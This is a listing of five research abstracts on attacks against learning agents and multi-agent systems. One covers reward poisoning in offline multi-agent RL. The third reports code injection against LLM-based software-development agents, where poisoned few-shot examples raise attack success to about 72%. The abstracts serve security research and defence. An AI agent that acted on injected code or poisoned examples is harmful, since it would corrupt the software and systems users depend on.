More Like this

1. Reward Poisoning Attacks on Offline Multi-Agent Reinforcement Learning

   https://doi.org/10.1609/aaai.v37i9.26240  

   Wu, Young; McMahan, Jeremy; Zhu, Xiaojin; Xie, Qiaomin (June 2023, Proceedings of the AAAI Conference on Artificial Intelligence)

   In offline multi-agent reinforcement learning (MARL), agents estimate policies from a given dataset. We study reward-poisoning attacks in this setting where an exogenous attacker modifies the rewards in the dataset before the agents see the dataset. The attacker wants to guide each agent into a nefarious target policy while minimizing the Lp norm of the reward modification. Unlike attacks on single-agent RL, we show that the attacker can install the target policy as a Markov Perfect Dominant Strategy Equilibrium (MPDSE), which rational agents are guaranteed to follow. This attack can be significantly cheaper than separate single-agent attacks. We show that the attack works on various MARL agents including uncertainty-aware learners, and we exhibit linear programs to efficiently solve the attack problem. We also study the relationship between the structure of the datasets and the minimal attack cost. Our work paves the way for studying defense in offline MARL. 

   more » « less
2. Hybrid attack monitor design to detect recurrent attacks in a class of cyber-physical systems

   https://doi.org/10.1109/CDC.2017.8263845  

   Phillips, Sean; Duz, Alessandra; Pasqualetti, Fabio; Sanfelice, Ricardo G. (December 2017, Proceedings of 2017 IEEE 56th Annual Conference on Decision and Control (CDC 2017))

   In this paper, we study a security problem for attack detection in a class of cyber-physical systems consisting of discrete computerized components interacting with continuous agents. We consider an attacker that may inject recurring signals on both the physical dynamics of the agents and the discrete interactions. We model these attacks as additive unknown inputs with appropriate input signatures and timing characteristics. Using hybrid systems modeling tools, we design a novel hybrid attack monitor and, under reasonable assumptions, show that it is able to detect the considered class of recurrent attacks. Finally, we illustrate the general hybrid attack monitor using a specific finite time convergent observer and show its effectiveness on a simplified model of a cloud-connected network of autonomous vehicles. 

   more » « less
3. Analyzing Code Injection Attacks on LLM-based Multi-Agent Systems in Software Development

   Bowers, Brian; Khapre, Smita; Kalita, Jugal (December 2025, International Conference on Machine Learning Applications (ICMLA))

   Agentic AI and Multi-Agent Systems are poised to dominate industry and society imminently. Powered by goal- driven autonomy, they represent a powerful form of generative AI, marking a transition from reactive content generation into proactive multitasking capabilities. As an exemplar, we propose an architecture of a multi-agent system for the implementation phase of the software engineering process. We also present a comprehensive threat model for the proposed system. We demon- strate that while such systems can generate code quite accurately, they are vulnerable to attacks, including code injection. Due to their autonomous design and lack of humans in the loop, these systems cannot identify and respond to attacks by themselves. This paper analyzes the vulnerability of multi-agent systems and concludes that the coder-reviewer-tester architecture is more resilient than both the coder and coder-tester architectures, but is less efficient at writing code. We find that by adding a security analysis agent, we mitigate the loss in efficiency while achieving even better resiliency. We conclude by demonstrating that the security analysis agent is vulnerable to advanced code injection attacks, showing that embedding poisonous few-shot examples in the injected code can increase the attack success rate from 0% to 71.95%. 

   more » « less
4. Spatiotemporally Constrained Action Space Attacks on Deep Reinforcement Learning Agents

   https://doi.org/10.1609/aaai.v34i04.5887  

   Lee, Xian Yeow; Ghadai, Sambit; Tan, Kai Liang; Hegde, Chinmay; Sarkar, Soumik (June 2020, Proceedings of the AAAI Conference on Artificial Intelligence)

   null (Ed.)

   Robustness of Deep Reinforcement Learning (DRL) algorithms towards adversarial attacks in real world applications such as those deployed in cyber-physical systems (CPS) are of increasing concern. Numerous studies have investigated the mechanisms of attacks on the RL agent's state space. Nonetheless, attacks on the RL agent's action space (corresponding to actuators in engineering systems) are equally perverse, but such attacks are relatively less studied in the ML literature. In this work, we first frame the problem as an optimization problem of minimizing the cumulative reward of an RL agent with decoupled constraints as the budget of attack. We propose the white-box Myopic Action Space (MAS) attack algorithm that distributes the attacks across the action space dimensions. Next, we reformulate the optimization problem above with the same objective function, but with a temporally coupled constraint on the attack budget to take into account the approximated dynamics of the agent. This leads to the white-box Look-ahead Action Space (LAS) attack algorithm that distributes the attacks across the action and temporal dimensions. Our results showed that using the same amount of resources, the LAS attack deteriorates the agent's performance significantly more than the MAS attack. This reveals the possibility that with limited resource, an adversary can utilize the agent's dynamics to malevolently craft attacks that causes the agent to fail. Additionally, we leverage these attack strategies as a possible tool to gain insights on the potential vulnerabilities of DRL agents. 

   more » « less
5. Resilience of Multi-robot Systems to Physical Masquerade Attacks

   https://doi.org/10.1109/SPW.2019.00031  

   Wardega, Kacper; Tron, Roberto; Li, Wenchao (May 2019, 2019 IEEE Security and Privacy Workshops (SPW))

   The advent of autonomous mobile multi-robot systems has driven innovation in both the industrial and defense sectors. The integration of such systems in safety- and security- critical applications has raised concern over their resilience to attack. In this work, we investigate the security problem of a stealthy adversary masquerading as a properly functioning agent. We show that conventional multi-agent pathfinding solutions are vulnerable to these physical masquerade attacks. Furthermore, we provide a constraint-based formulation of multi-agent pathfinding that yields multi-agent plans that are provably resilient to physical masquerade attacks. This formalization leverages inter-agent observations to facilitate introspective monitoring to guarantee resilience. 

   more » « less